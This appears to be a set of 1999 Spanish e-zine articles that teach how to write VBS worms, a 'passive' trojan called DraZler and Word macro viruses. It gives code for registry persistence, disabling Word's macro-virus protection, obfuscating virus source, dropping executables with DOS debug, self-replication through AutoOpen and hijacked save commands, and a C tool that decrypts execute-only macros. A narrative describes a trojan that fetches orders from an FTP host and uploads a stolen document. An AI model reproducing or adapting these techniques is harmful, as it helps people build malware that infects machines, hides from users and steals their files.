El último gusano “de moda” ha sido el Life Stages. Este virus aprovecha otra vulnerabilidad de nuestro querido Windows. Se trata de utilizar el Shell Scrap de Windows. Se trata de una posibilidad bastante útil que permite empaquetar varios archivos de proceso por lotes en uno solo. El fallo esta en que por defecto, la extensión de estos archivos (SHS) nunca se mostrará, aunque tengamos activado el Mostrar Extensiones. Esto se debe a la siguiente clave del registro (que viene por defecto :P):

HKEY_CLASSES_ROOTShellScrapNeverShowExt

Para solucionarlo no hay mas que renombrar esta clave por:

HKEY_CLASSES_ROOTShellScrapAlwaysShowExt

Objetos útiles en VBS

Para escribir un gusano, un virus o un troyano en VBS, básicamente tenemos dos objetos importantes. Uno que nos permitira acceder al HD y otro al registro.

=-=-= [ Scripting.FileSystemObject ]

Este objeto contiene diversos metodos que nos permiten leer, y escribir en los dispositivos de almacenamiento masivo de la máquina.

Set ManipulacionHD = CreateObject(“Scripting.FileSystemObject”)

Para abrir un archivo de texto en modo lectura/escritura lo hariamos del siguente modo:

Set MiArchivo = ManipulacionHD.CreateObject(“path/del/archivo”,1,false)

[ Nota: Esto no es un curso de VBS, me limitaré a exponer como se utilizan los metodos para nuestros objetivos, pero no explicare para que sirven todos los parametros. Para eso ya están los libros y los tutoriales que hay por Internet ]

Para escribir en ese archivo:

MiArchivo.WriteLine(“Esta es la primera linea del archivo creado”)
MiArchivo.WriteLine(“Esta es la segunda”)

Para leer:

variable = MiArchivo.ReadLine()

(el contenido de la variable seria “Esta es la primera linea del archivo”)

Una vez terminada la secuencia, debemos cerrar el archivo para lectura escritura.

MiArchivo.Close()

Podemos tambien borrar un archivo:

ManipularHD.DeleteFile(“path\del\archivo”)

=-=-= [ WScript.Shell ]

Este objeto nos permite ejecutar programas y acceder al registro.

Set MiShell = CreateObject(“WScript.Shell”)

Para ejecutar un programa:

MiShell.Run “path/del/binario”,”0″

El 0 indica que se debe ejecutar en segundo plano.

Para escribir en el Registro:

MiShell.RegWrite “HKEY_…\ruta de la clave\clave”, “Contenido”

y para leer:

variable = MiShell.ReadReg(“HKEY_…\ruta\clave”)

(el contenido de “variable” seria “Contenido”)

Bien, conociendo esto, ya podemos hacer lo que nos propongamos.

Manipulando el registro

El registro de Windows es, quizá, lo más interesante de este programa. Desde allí podemos variar multitud de parametros. Uno de los más interesantes sería el de la desactivación de la protección contra virus de Microsoft Word para posteriores “entradas”.

Ejecutar.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Office\8.0\Word\
Options\EnableMacroVirusProtection” , “0”

En DraZler (el troyano que adjunto al final de este articulo) se vale del registro para ocultarse a los ojos del usuario de una forma bastante curiosa.

Se trata de cambiar el puntero de trabajo en segundo plano por el mismo que tiene como puntero normal. De esta forma, puede estar realizando tareas (en este caso la de conectar una y otra vez a un ftp) sin que el puntero cambie cada 5 segundos.

Flecha = Ejecutar.RegRead(“HKEY_CURRENT_USER\Control Panel\Cursors\Arrow”)
Ejecutar.RegWrite “HKEY_CURRENT_USER\Control Panel\Cursors\AppStarting”,Flecha

Tambien tenemos la posibilidad de colocar programas que arranquen cada vez que se inicia el sistema (del mismo modo que la carpeta inicio). Esta técnica es archiconocida, y la utilizaban los vistos hasta la saciedad Netbus y Back Orifice. Se trata de insertar una clave en alguna de las siguientes rutas del registro:

HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/Current Version/Run

HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/Current Version/RunOnce

HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/Current Version/RunServices

HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/Current Version/RunservicesOnce

Ahora solo tienes que rebuscar un poco en el registro y encontraras multitud de cosas utiles.

Volcando archivos binarios en el HD

Muchas veces el VBS se nos queda corto para nuestras necesidades, y quizá un ejecutable lo solucionase, pero tenemos un problema. La gran mayoría de los usuarios no tienen un compilador de C u otro lenguaje instalado en su máquina, y aunque lo tuviese, lo mas seguro es que no conociesemos la ruta de dicho compilador, por lo que sería inútil intentar volcar un código fuente para compilarlo allí, como sería posible en *NIX. Pero hay una solución que he comentado anteriormente (Ver NetSearch Ezine No. 2). Se trata de utilizar el debug del DOS para convertir el código hexadecimal de nuestro ejecutable en un binario.

Ahora comentare para que lo he utilizado yo en DraZler. Cuando ejecutamos un programa basado en MSDOS, normalmente se abre una “shell”. En el caso de DraZler, yo necesito utilizar un Batch con un bucle infinito, lo que abre esa ventana, y lo hace totalmente visible al usuario. Para ello, se me ocurrio utilizar un acceso directo que apuntase a ese Batch. Si edito las propiedades de ese acceso directo puedo hacer que no salte la ventana, y activar ciertas opciones muy útiles, como la de que no avise de que hay un programa MSDOS corriendo en la máquina al apagar el sistema. Pero… ¿como creo un acceso directo en una máquina a la que no tengo acceso físico? Pues muy sencillo, creo el acceso directo en mi máquina, lo convierto en codigo hexadecimal, y lo vuelco en la máquina remota mediante un script VBS y debug (ver DraZler).

Cifrado

Dado que VBS es un script, el código siempre puede ser leído editando el archivo. Para poner las cosas más difíciles, siempre podemos utilizar una pequeña función que lo oculte, aunque si el que lo edita es un poco avispado no tendra ningun problema para descifrarla.

Cadena = InputBox(Codigo,"MoebiuZ's Simple Encoder","Introduce la frase a codificar") For Count = 1 To Len(Cadena)

If Count = 1 Then
   If Len(Asc(Mid(Cadena, Count,1))) = 3 Then
      Yimbo = Asc(Mid(Cadena, Count, 1))
   ElseIf Len(Asc(Mid(Cadena, Count, 1))) = 2 Then

   Yimbo = "0" & Asc(Mid(Cadena, Count, 1))

ElseIf Len(Asc(Mid(Cadena, Count, 1))) = 2 Then
   Yimbo = "00" & Asc(Mid(Cadena, Count, 1))
End If

ElseIf Count = Len(Cadena) Then
   If Len(Asc(Mid(Cadena, Count,1))) = 3 Then
      Pepo = Asc(Mid(Cadena, Count, 1))
      Yimbo = Yimbo & Pepo
   ElseIf Len(Asc(Mid(Cadena, Count, 1))) = 2 Then
      Pepo = "0" & Asc(Mid(Cadena, Count, 1))
      Yimbo = Yimbo & Pepo
   ElseIf Len(Asc(Mid(Cadena, Count, 1))) = 2 Then
      Pepo = "00" & Asc(Mid(Cadena, Count, 1))
      Yimbo = Yimbo & Pepo
   End If
Else
   If Len(Asc(Mid(Cadena, Count,1))) = 3 Then
      Pepo = Asc(Mid(Cadena, Count, 1))
       Yimbo = Yimbo & Pepo
   ElseIf Len(Asc(Mid(Cadena, Count, 1))) = 2 Then
      Pepo = "0" & Asc(Mid(Cadena, Count, 1))
      Yimbo = Yimbo & Pepo
   ElseIf Len(Asc(Mid(Cadena, Count, 1))) = 2 Then
      Pepo = "00" & Asc(Mid(Cadena, Count, 1))
      Yimbo = Yimbo & Pepo
   End If

End If Next Pringue = InputBox(Unused,"Codigo cifrado",Yimbo)

Con este sencillo programa podemos codificar una a una las lineas de nuestro virus, de forma que solo seran secuencias numéricas. Hay que decir que algunas funciones de un script no se pueden codificar o no serán interpretadas correctamente.

Una vez tenemos nuestro virus codificado totalmente, solo tenemos que hacer una función que decodifique cada una de las lineas y la interprete como si no estuviese codificada.

Function Dec(Code)

   For Count = 1 To Len(Code) Step 3
      If Count = 1 Then
         DCode = Chr(Mid(Code,Count,3))
      Else
         DCode = DCode & Chr(Mid(Code,Count,3))
      End If
   Next

End Function

Imaginad este sencillo script:

Msgbox “AQUI SU PUBLICIDAD”

Pues encriptado con el codificador anterior quedaria del siguiente modo:

Execute(Dec(077115103098111120032034065081085073032083085032080085066076073067073068065068034))

Function Dec(Code)
   For Count = 1 To Len(Code) Step 3
      If Count = 1 Then
         DCode = Chr(Mid(Code,Count,3))
      Else
         DCode = DCode & Chr(Mid(Code,Count,3))
      End If
   Next
End Function

Troyanos Pasivos: DraZler v1.0.0

Bien, como ya comenté al principio, voy a hablar de lo que se me ha dado por llamar Troyanos Pasivos.

Hasta ahora estamos acostumbrados a los tristemente famosos troyanos del tipo cliente/servidor. Infectabas una máquina con el servidor y despues accedías a ella a través del cliente, con el cual conectabas conociendo la IP de la victima. Los inconvenientes de este sistema son ovbios: existe el problema de conseguir que la víctima active un ejecutable en su máquina, y ademas, necesitamos conseguir su IP mas tarde para poder establecer una conexion. El 95,5% de las máquinas, digamos, normales, no estan conectadas 24 horas a Internet (aun con la tarifa Plana :P) y tienen una IP dinámica, por lo que tendriamos que encontrarnos con la victima en el IRC, u otras cosas para eso.

La idea de troyano pasivo consiste en que es la máquina infectada la que conecta a donde el atacante desea, y recoge de allí las instrucciones a seguir.

Por ejemplo, cuando la máquina conecta a Intenet, esta realiza una conexion a un ftp gratuito donde yo he dejado un script, un batch, o un binario, lo recoge y lo ejecuta. De esta manera tenemos la maquina controlada sin preocuparnos de si esta conectado o no, y sin saber su IP.

Para ilustrar esto, he creado un sencillo programa, completamente en VBS y Batch. Con ello quiero demostrar dos cosas; que Windows 98 NO ES SEGURO, y que es posible utilizar los propios recursos de una máquina estandar para introducirse en ella, sin necesidad de utilizar programas enlatados.

A continuación comentare a grandes rasgos y a modo de historia lo que podría hacer DraZler, pero como siempre he dicho, un codigo fuente es el mejor tutorial que puedes consultar.

” Domingo, 12:52 horas.

Los padres de Selmito acaban de salir de casa para ir a misa de una. El, como siempre, se había quedado dormido y no le daba tiempo de llegar, por lo que se levanta, se ducha, desayuna un poco y corre enseguida a su ordenador para conectarse a Internet (por fin le han puesto su tarifa plana y tiene que aprovechar que hoy es “gratis” todo el día, y así bajarse el último album de Britney Spears). Arranca su flamante Pentium 500 con 128 de RAM y su querido Windows 98 personalizado hasta los topes. Pincha sobre el icono que pone Internet y mientras su US Robotic 56K emite unos extraños pero graciosos soniditos, aprovecha para arrancar su Internet Explorer, su Outlook y su mIRC para ir ahorrando tiempo.

Cuando el sonido remite, teclea en su navegador la dirección de Terra para enviar un mensaje al movil que se acaba de comprar su compañero de clase. Mientras carga la Web, pulsa el botón “Enviar y Recibir” en el Outlook, para bajarse el correo. Selmito esboza, como todos los dias una sonrisita al ver como su Outlook se baja el correo de la cuenta de su padre y a continuación el de la suya. Todavia recuerda como fardó con sus colegas cuando configuró el solito las dos cuentas en el mismo cliente de correo. De pronto siente una gran curiosidad al ver que el asunto de uno de los mensajes de su padre dice asi “IMPORTANTE”. Sabe que no debe leerlo porque no es suyo, pero como el entiende mas de informática que su padre, decide leerlo por la vista previa y asi dejarlo como no leido. Pronto pierde el interés al ver que el cuerpo del mensaje apenas dice una sarta de estupideces sobre el negocio de su padre, el cual nunca le interesó a él (Eso de ser el editor de una revista del corazón no es muy divertido).

En ese momento escucha como alquien esta abriendo la puerta de entrada, y apaga el ordenador.

…

(Mientras, en las entrañas del Pentium 500 con 128 de RAM)

El viaje a traves de Internet dando saltos de servidor en servidor lo habia dejado hecho polvo. Cuando por fin llego a la maquina destino, DraZler, el pequeño gusano se dejo caer a través de Outlook en el directorio inicio de Windows gracias a sus queridas librerias Scriptlet. Por fin encontro una forma un poco más cómoda en la mutacion HTA. Despues de tan largo viaje a traves de lineas de cobre, cables de fibra óptica y ondas, decidio descansar hasta la próxima inicialización del sistema.

Domingo, 14:23 horas.

El padre de Selmito enciende el ordenador de casa. Tiene que terminar un artículo para el Martes, ya que es una gran exclusiva que no debe salir antes en ninguna otra publicación. Abre su Microsoft Word y comienza a escribir un largo y movidito artículo de 34 paginas, con todo lujo de detalles. -“La competencia lo va flipar” – se decía a si mismo.

…

Al arrancar el sistema, DraZler decidió activarse de nuevo, dividiendose en varios archivos VBS y Batch. Activó en el registro su “despertador”, para que cada vez que iniciase el sistema le despertase. Volco un acceso directo para despertarse sin “hacer ruido”. DraZler pudo comprobar que esta máquina no estaba todo el día comunicada con el exterior, asi que decidió realizar una conexión ftp con la dirección que le habia dado su jefe una y otra vez, hasta que el canal modulador/demodulador estableciese un enlaze con la RED. Se dio cuenta de que esto era demasiado “ruidoso”, ya que estaba utilizando un Batch con bucle infinito que llamaba al ftp.exe de Windows, de modo que hizo un pequeño apaño en el registro tocando los punteros del escritorio para que el dichoso relojito no apareciese cada dos por tres. Bien, solo quedaba esperar a que se estableciese esa comunicación y así poder recoger las ordenes de su jefe en el ftp.

Domingo, 18:36 horas

Selmito conectaba desesperado su ordenador a Internet, harto ya de hacer los deberes del Lunes. Ademas, hoy estaba nervioso, habia quedado con una chica en el IRC, que debia estar para comersela segun la foto que esta le habia enviado.

Se llamaba Sheila.

…

¡Al fin! Por fin se abrían las puertas. DraZler se dirigió a zeus.gratisftp.org y allí recogió ord.vbs. Eran las ordenes de su jefe. Este le pedía el archivo c:mis documentos*rod*men*. Pues allí se fue. Al llegar a c:mis documentos encontro un archivo llamado exclusiva.doc. Pues nada, establecio de nuevo una conexion ftp y subió alli el archivillo.

Lunes, 13:05 horas

El padre de Selmito no se lo podía creer. El artículo sobre la boda del codiciado abogado habia salido en una publicación de la competencia. ¡Pero como! Era una exclusiva. Le habían tomado el pelo…

…

DraZler ya se habia asentado y acomodado a este su nuevo hogar, y disfrutó de su trabajo y sus escapaditas esporadicas a zeus.gratisftp.com durante un espacio de 7 meses y 4 dias, hasta que Selmito abrió una foto de Sheila llamada en_la_ducha.exe y el disco duro de su ordenador comenzo a girar…”

En fin, despues de este culebrón, solo queda que vosotros mismos veais como funciona este bichejo. Solo comentar que este es el código para infectar la máquina, y que de ir adjunto en un HTML o en un email para Outlook tiene que ser modificado para adaptarlo. Por favor, no lo utiliceis, solo es una ilustración de este artículo, ademas, posee un fallo que hará sospechar a la persona infectada.

Iniciación a los virus de macro (II)

1999-07-24T00:00:00+02:00

Este articulo fue publicado originalmente en el número #2 de NetSearch Ezine, una revista electrónica sobre seguridad informática, en 1999.

Todo lo expuesto aquí no funciona deliberadamente (el código está alterado para que no pueda ser ejecutado), y solo funcionaba en Word 7.0. Lo escribí para demostrar una vulnerabilidad en dicho software y así saber como protegernos del mismo.

Sintaxis de WB

Bueno, para los que no esten familiarizados con este tipo de sintaxis… un tirón de orejas. Que repasen sus conceptos de programación. Pero vamos a hacer un breve resumen para poder entender lo que estamos viendo.

Instrucción condicional

If … Then … Else

Ejecuta instrucciones de forma condicional.

Por ejemplo:

DefinirI()        // Rutina ejemplo que genere un valor aleatorio para i
If i = 1 Then     // Si "i" es igual a 1 muestra el siguiente mensaje
   MsgBox "El valor de i es 1", 0
Elsif i = 2 Then    // En cambio, si "i" es igual a 2 muestra este otro
   MsgBox "El valor de i es 2" , 0
Else          // "Si no" ocurre ninguna de las dos condiciones anteriores (ni 1
              // ni 2) este otro mensage
   MsgBox "El valor de i no es ni 1 ni 2" , 0
End If

Instruccion repetitiva

For … Next

Ejemplo:

For i = 1 To 10      // Desde i = 1 hasta 10
   Beep              // Pitido
Next i

Este código emitiria 10 pitidos (uno por cada valor de i )

# Instrucción condicional #

While … Wend

Ejemplo:

i = 1

While i &lt;&gt; 10    // Mientras i sea distinto de 10
   Beep
   i = i+1
Wend

Este código emitiria 9 pitidos, que son los valores que va tomando “i” hasta llegar a 10.

Instruccion “ir a”

Goto etiqueta

Esta es la típica instruccioón de los antiguos lenguajes de programación, que todavía puede encontrarse en algunos de los actuales, pero que no es muy recomendable, puesto que es muy poco eficiente. Es mas aconsejable usar siempre las estructuras anteriores.

Sub MAIN
   MsgBox "La siguiente instruccion goto saltara a la etiqueta :fin,
           ignorando el resto" , 0
   Goto fin
   MsgBox "Por aqui no pasa" , 0
   :fin
 End sub

Una vez repasados estos conceptos, proseguimos con el viriing.

Los Comandos de Word: Macros ArchivoGuardar, ArchivoGuardarComo ArchivoAbrir…

Todos sabemos que cuando pulsamos con el mouse sobre la barra de herramientas, aparece un menu desplegable con varias opciones. Por ejemplo, en Archivo, podemos encontrar el tipico Nuevo, Guardar, Guardar Como…, etc

Todas estas operaciones son los comandos del Word, y no son en realidad mas que simples Macros de solo ejecución.

Pero, ¿qué pasaría si creasemos en la plantilla Global una Macro con el nombre, por ejemplo, ArchivoGuardarComo?

Pues bien, se crearía automáticamente una macro que llama al cuadro de dialogo que aparece cuando pulsamos sobre esa opción.

Sería así:

Sub MAIN

   Dim dlg AsArchivoGuardarCom    // Define dlg como cuadro de dialogo ArchivoGuardarComo
   GetCurValues dlg               // Coje los valores del cuadro de dialogo
   Dialog dlg                     // Muestra el cuadro en pantalla
   ArchivoGuardarComo dlg         // Guarda el archivo segun los parametros obtenidos del cuadro

End Sub

Nota: Fijarse que en la primera línea aparece AsArchivoGuardarComo todo junto, cuando debería ser As ArchivoGuardarComo. Si lo dejamos como está, nos dará un error.

Bien, esto lo que haria no sería más que definir dlg como cuadro de dialogo de Guardar Como, coger los valores de ese dialogo y mostrarlo en pantalla; lo que viene haciendo Archivo / Guardar Como. Hasta ahí todo normal, pero, que pasaría si colocamos algunas lineas mas en esa Macro, a nuestro antojo?

Mira este otro código:

Sub MAIN
   Dim dlg As ArchivoGuardarComo
   GetCurValues dlg
   Dialog dlg
   ArchivoGuardarComo dlg
   ArchivoGuardarComo .Formato = 1
                   // Guarda el archivo con el formato de una plantilla
                   // ( Nota: Esto es solo un ejemplo. Si hiciesemos algo así, cualquier archivo se guardaria con
                   // este formato, incluso si fuese de solo texto)
   Infectar()      // Llama a la rutina infectar
   ArchivoGuardar  // Guarda de nuevo lo cambios
End Sub

A partir de ahora (siempre y cuando la Macro se llame ArchivoGuardarComo y este en la plantilla global), cada vez que pulsasemos sobre Archivo / Guardar Como…, a los ojos del usuario todo sería normal, pero el archivo guardado tambien sería infectado.

Lo mismo se puede hacer con ArchivoGuardar, ArchivoAbrir …

Nota: Los comandos de Word los puedes ver en el menu de Macros, pero son solo ejecutables, por lo que solo podrás leer el nombre, no su código.

Evitando Errores

WB es un lenguaje interpretado, y como tal, los errores surgiran “in situ”, a medida que se producen. Pero afortunadamente, los errores pueden ser interceptados.

Con la instrucción:

On Error Resume Next

Conseguiremos que los errores internos a WB ( no los errores que se produzcan en el propio Word) no muestren en pantalla el mensage de error, y el código seguira ejecutandose en la siguiente instrucción. Esto es muy útil para evitar que el virus sea detectado por el usuario en caso de error.

On Error Goto etiqueta

Tendría el mismo efecto, con la diferencia de que esta vez no continua la ejecución en la siguiente instrucción, sino que salta a la etiqueta del mismo modo que un Goto (que es lo que realmente es).

Para desactivar la deteccion de errores solo hay que utilizar la siguiente instrucción:

On Error Goto 0

Todos los errores de Word tienen un numero de identificacion. Si queremos conseguir ese numero, lo haremos con la variable especial Err, cuyo valor es el ultimo error producido.

Técnicas avanzadas

Ahora comentare algunas técnicas avanzadas, solo como guía, y para “activar” tu imaginación

Macros solo-ejecutables

Lo típico que se hace para encriptar una macro es hacerla solo-ejecutable.

Esto no es más que un simple XOR, por lo que podemos desencriptarlas y ver su código. Si leemos el fichero, debemos buscar el verdadero nombre del fichero en el. Unos cuantos bytes despues de el encontraremos una “U”. Pues bien, el byte siguiente a esa “U” es la clave XOR que debemos usar para desencriptarlo

Por supuesto, habra tantas “U” como macros tenga el documento., y una clave XOR para cada una. Depues no hay más que encontrar el comienzo de las macros, que normalmente está en la direccion B89h o en 1509h. Simpre hay la secuencia A5h, C6h , 41h, un byte y el valor XOR. Los problemas pueden comenzar si el documento tiene macros normales y macros solo-ejecutables.

Prueba a borrar algunas macros, y despues desencriptar.

Adjunto un programa en C que podría ser util.

 /*********

(c) AURODREPH Productions 04/1996

 **********/

 #include "io.h"
 #include "stdlib.h"
 #include "stdio.h"
 #include "conio.h"
 #include "process.h"
 #include "fcntl.h"
 #include "string.h"
 #include "sys\stat.h"

 void main (void) {

    char Name[13];
    char Target[13];
    unsigned char *Buffer;
    int Handler, Handler1;
    unsigned int Offset;
    unsigned long Length = 0;
    int point, max, trouve, cledec, debmac, decfin;
    int stop,nbr,positcle,nbrmac,i;

    clrscr();

    printf (" ******************************************************************\n");
    printf (" *                                                                *\n");
    printf (" *               DECRYPT WORD 6.0 MACROS saved                    *\n");
    printf (" *                 with the option Execute-only                   *\n");
    printf (" *                                                                *\n");
    printf (" *                                                                *\n");
    printf (" *    --- ,This file works only with files &lt; 32 Ko. ----       *\n");
    printf (" *     <*****}===============-                                    *\n");
    printf (" *      (z)  ' AURODREPH Productions 04/1996                      *\n");
    printf (" *                                                     ver 0.666B *\n");
    printf (" ******************************************************************\n");
    printf ("\n");
    printf("\n");
    printf ("Name of the input file     = ");

    scanf ("%12s",Name);

    printf ("\n");
    printf ("Name of the output file    = ");

    scanf ("%12s",Target);

    printf("\n");
    printf ("Number of crypted macros   = ");

    scanf ("%d",&nbrmac);
    printf("\n");

    if (nbrmac > 50 ) {
       exit (0);
    }

    Handler = open (Name, O_BINARY | O_RDONLY , S_IREAD);

    if (Handler == -1) {
       printf ("The input file doesn't exist.\n");
       exit(0);
    }

    Length = (unsigned long) lseek(Handler, 0, SEEK_END);
    lseek (Handler,0,SEEK_SET);
    Buffer = (unsigned char *) malloc((unsigned) Length);

    if (Buffer == NULL) printf ("Fail memory allocation.\n");

    if (read(Handler, Buffer, (unsigned) Length) != Length) {
       printf ("The size of the file is > 32 ko)\n");
       printf ("Try to remove some macros with WORD....\n");
       exit (0);
    }

    point = 0;
    max = strlen(Name);
    trouve = 1;
    cledec = 0x00;
    debmac = 0x00;
    stop = 0;

    for (i=0; i= 0x61) & (Name[i] <= 0x7A)) {
       Name[i] = Name[i] & 0xDF;}
    };

    for (Offset = 0x0000; Offset < Length; Offset++) {
       if ((Buffer[Offset] == Name[point]) && (stop !=1)) {
          for (point = 1; point <= (max-1); point++) {
             if (Buffer [Offset+point] == Name[point]) {
                trouve = trouve+1;
             } else {
                trouve = 1;
             }
          };

       }

       if (trouve == max) { stop = 1; }

       if ((trouve == max) && (Buffer[Offset] == 0x55)) {
          cledec = Buffer[Offset+1];
          trouve = 0;
          Buffer [Offset+1] = 0x00;
          positcle = Offset;
       }
       point = 0;

    };

    if (cledec == 0x00) {
       printf (" Don't find the decrypted key... \n"); exit (0);}
    } else {
       printf ("Decrypted Key for the macro n 1 = %x \n", cledec);
    }

    for (Offset = 0x0000; Offset < Length; Offset++) {
       if (Buffer[Offset] == 0xA5) {
          if ((Buffer [Offset+1] == 0xC6) || (Buffer [Offset+1] == 0xC4)) {
             if (Buffer [Offset+2] == 0x41) {
                if (Buffer [Offset+4] == cledec) {
                   debmac = Offset+3;
                }
             }
          }
       }
    };

    if (debmac == 0x00) {
       for (Offset = 0x0000; Offset < Length; Offset++) {
          if (Buffer[Offset] == cledec-1) {
             if (Buffer [Offset+1] == cledec) {
                debmac = Offset;
             }
          }
       };
    }


    if (debmac == 0x00) {
       printf (" Don't find the beginning of the macro\n");
       exit(0);
    }

    for (nbr = 1 ; nbr <= nbrmac ;nbr++) {
       if (nbr != 1) {
          printf ("\n");
          printf (" I decrypt the macro n %d \n", nbr);
          Offset = positcle+24;
          if (Buffer[Offset] ==  0x55) {
             cledec = Buffer [Offset+1];
             Buffer [Offset+1] = 0x00;
             positcle = Offset;
             printf ("Decrypted Key for the macro n %d = %x \n", nbr,cledec);
          } else {
             printf (" Don't find the decrypted key ....\n");}
          }
       }

       Offset = debmac;
       point = 0;
       decfin = 1;
       stop = 1;
       printf ( " I work ");

       do {
          if (stop == 400) {
             printf (".");
             stop = 1;
          }

          Buffer[Offset+point] ^= cledec ; /* decryptage par XOR */

          if (Buffer [Offset+point] == 0x64) {
             Buffer [Offset+point+1] ^= cledec;
             if (Buffer [Offset+point+1] == 0x1a) {
                Buffer [Offset+point+2] ^= cledec;
                if (Buffer [Offset+point+2] == 0x1b) {
                   Buffer [Offset+point+3] ^= cledec;
                   if (Buffer [Offset+point+3] != 0x64) {
                      decfin = 0;
                      debmac = Offset+point+3;
                      Buffer [Offset+point+3] ^= cledec;
                   } else {
                      Buffer [Offset+point+3] ^= cledec;
                   }
                } else {
                   Buffer [Offset+point+2] ^= cledec;
                }
             } else {
                Buffer [Offset+point+1] ^= cledec;
             }



             if ((Offset+point) == Length) {
                decfin = 0;
             }
             stop = stop + 1;
             point = point + 1;
          }

       while ( ( decfin != 0) );
       printf ("\n");
       printf (" End of decrypting the macro n %d \n", nbr);

    };

    _fmode= O_BINARY;
     Handler1 = creat(Target, S_IFMT | S_IREAD | S_IWRITE);

    write (Handler1, Buffer,(unsigned) Length);
    close (Handler1);
    close (Handler);

    printf ("\n"); printf ("\n");
    printf (" END ... \n");
    printf ("\n");
    printf (" The decrypted file is  %s .\n", Target);
 }

Polimorfismo

Es posible hacer virus polimórficos en WordBasic. Una manera sencilla sería hacer que las macros tomaran nombres al azar en cada generación.

Uso de DEBUG

Ultimamente es muy corriente encontrarse especimenes que utilizan el debug del DOS para volcar pequeños ejecutables, plantillas, … en el disco duro para luego ser ejecutadas. Os muestro aqui una pequeña rutina para ilustrarlo:

Open "C:\programita.scr" For Output As #1

Print #1, "N BOOM.COM"
Print #1, "E 0100 E9 AF 13 9F 4D D1 0F D9 0A D7 0A B2 25 EB 67 C2"
Print #1, "E 0110 26 F6 20 F7 33 E6 67 BA 24 BB 67 A3 7E EB 7E 9F"
Print #1, "E 0120 4D 98 15 FD 32 E6 2E FC 22 B2 30 FB 2B FE 67 E0"
Print #1, "E 0130 22 E6 32 E0 29 B2 34 EB 34 E6 22 12 67 FB 29 F4"
Print #1, "E 0140 28 E0 2A F3 33 FB 34 FC 67 F4 28 E0 67 E1 33 F3"
Print #1, "E 0150 29 F6 26 B0 23 9F 4D B2 67 B2 67 B2 67 B2 67 DB"
Print #1, "E 0160 05 DF 67 C2 04 E1 67 F3 29 F6 67 F1 2B FD 29 F7"
Print #1, "E 0170 34 B2 35 E7 29 FC 2E DC 20 B2 0A C1 68 C2 04 B2"
// ...

print #1, "RCX"
print #1, "400"
Print #1, "W"
Print #1, "Q"
Close #1

Open "c:\boom.bat" For Output As #1
Print #1,  "@echo off"
Print #1, "debug < programita.src > nul"
Print #1, "boom.com"
Close #1

Nota: Los valores Hexadecimales del ejemplo son inventados, asi que no intentes nada con ellos.

Miscelánea

Para terminar este pequeño curso, aquí podeis ver el WM6.iNCorDio V 1.0 , un virus sencillo y totalmente funcional creado por un servidor.

Por favor, no lo distribuyas. Simplemente lo incluyo como apoyo al documento para comprender mejor el concepto de virus de Macro.

Iniciación a los virus de macro (I)

1999-03-22T10:00:00+01:00

Este artículo fue publicado originalmente en el número #1 de NetSearch Ezine, una revista electrónica sobre seguridad informática, en 1999.

Todo lo que expongo aquí no funciona intencionadamente (el código está alterado para que no pueda ser ejecutado), y afectaba únicamente a Word 7.0

La intención del artículo era demostrar una vulnerabilidad en dicho software para saber como evitar una infección de ese tipo.

Introducción

Los llamados virus o troyanos de macro son virus que se codifican en aplicaciones como Word o Excel, que utilizan dichas macros para automatizar ciertas tareas.

Son virus realmente fáciles de crear y de extender, pero si realmente te interesa el mundo de los virus, aprende a escribir virus en ensamblador. Digamos que escribo esto para conocer el funcionamiento de este tipo de virus.

Estan escritos en el lenguaje que utilize la aplicación para la que son creados, normalmente Visual Basic para Aplicaciones (VBA) o, en el caso del Word, en Word Basic (WB). Ambos lenguajes son muy parecidos (realmente el VB es una versión de Visual Basic específica para esta aplicación) , pero no es objeto de este artículo aprender a programar en estos lenguajes, sino estudiar algunas técnicas víricas para dichos lenguajes.

Por ser los más comunes, voy a comentar los virus de Word, aunque el mecanismo es el mismo para todas las aplicaciones.

El Word Basic es un lenguaje interpretado, bastante sencillo, y tiene la particularidad de que sus instrucciones están en el mismo idioma que el propio Word. Así, si codificamos un virus para el Word en castellano, si es ejecutado en un Word en inglés nos dará un mensaje de error. Si eres un poco hábil, deberías ser capaz de solucionar este problema para hacer un virus multilingue. De todas formas, hay muchas ordenes que son independientes del idioma, por lo que un buen objetivo sería escribir un virus utilizando únicamente este tipo de ordenes.

Las macros en Word se encuentran en las plantillas (*.dot). Cuando creas un documento nuevo, lo normal es que este documento se abra por defecto con la plantilla global NORMAL.DOT, aunque se puede abrir con una plantilla diferente si se desea. Estas plantillas son las que traen el formato con el que se inicia el documento.

Para crear un documento que contenga macros, solo hay que crear un documento, y guardarlo plantilla (.dot), y no como documento (.doc) Una vez hecho esto, el documento ya podrá contener macros. Hay que tener en cuenta que se puede renombrar el archivo, y pasarlo otra vez a .DOC, conservando así las propiedades de plantilla y las macros que contenga. Tambien se podría crear un documento nuevo, basado en una plantilla infectada, pero en este caso, a mi parecer, no es el más apropiado, puesto que depende ya de otro archivo.

Hay 5 macros automáticas , que son básicas (bueno, eso no es realmente cierto) para la creación de virus (aunque no de “documentos bomba”), ya que el fin último de un virus es reproducirse. Estas macros son:

AutoExec: Una macro con este nombre se ejecutara cada vez que se arranque el Word.

AutoOpen: Se ejecuta cada vez que se abre el documento.

AutoClose: Se ejecuta cada vez que se cierra el documento.

AutoNew: Se ejecuta cada vez que se crea un documento nuevo.

AutoExit: Se ejecuta al salir de Word.

No hace falta decir que estas macros automáticas se llaman asi en todas las versiones de Word.

Como cabe esperar, si una plantilla global (lease NORMAL.DOT) contiene una macro automática, todos los documentos que se abran con esa plantilla provocaran la ejecucion de dichas macros. Esta es una de las cosas mas importantes a tener en cuenta para escribir virus de macro.

Replicación

Para infectar, un virus puede utilizar varios mecanismos. Uno de ellos es la utilización de la función MacroCopiar:

MacroCopiar PlantillaOrigen:MacroOrigen , PlantillaDestino:MacroDestino , Soloejecutable

donde Soloejecutable es un número, que si es distinto de 0 hace que la macro se copie como solo ejecutable, y por tanto no se puede editar y ver su contenido.

El proceso de infección es simple. El documento infectado trae macros escritas en su código. Utilizando esta instrucción, puede copiar las Macros que trae en la plantilla global, infectando así el Word.

MacroCopiar “MiVirus:infecto” , “Global:AutoOpen” ,1

Esto copia la macro “infecto” de MiVirus.DOC a Global (NORMAL.DOT) como AutoOpen y en modo solo ejecución. A partir de ese momento, todos los documentos que utilizen esa plantilla, al ser abiertos provocaran la ejecución de la macro.

Stealth

En Word hay dos maneras de acceder a un menu donde podemos ver, editar o eliminar las macros de un documento:

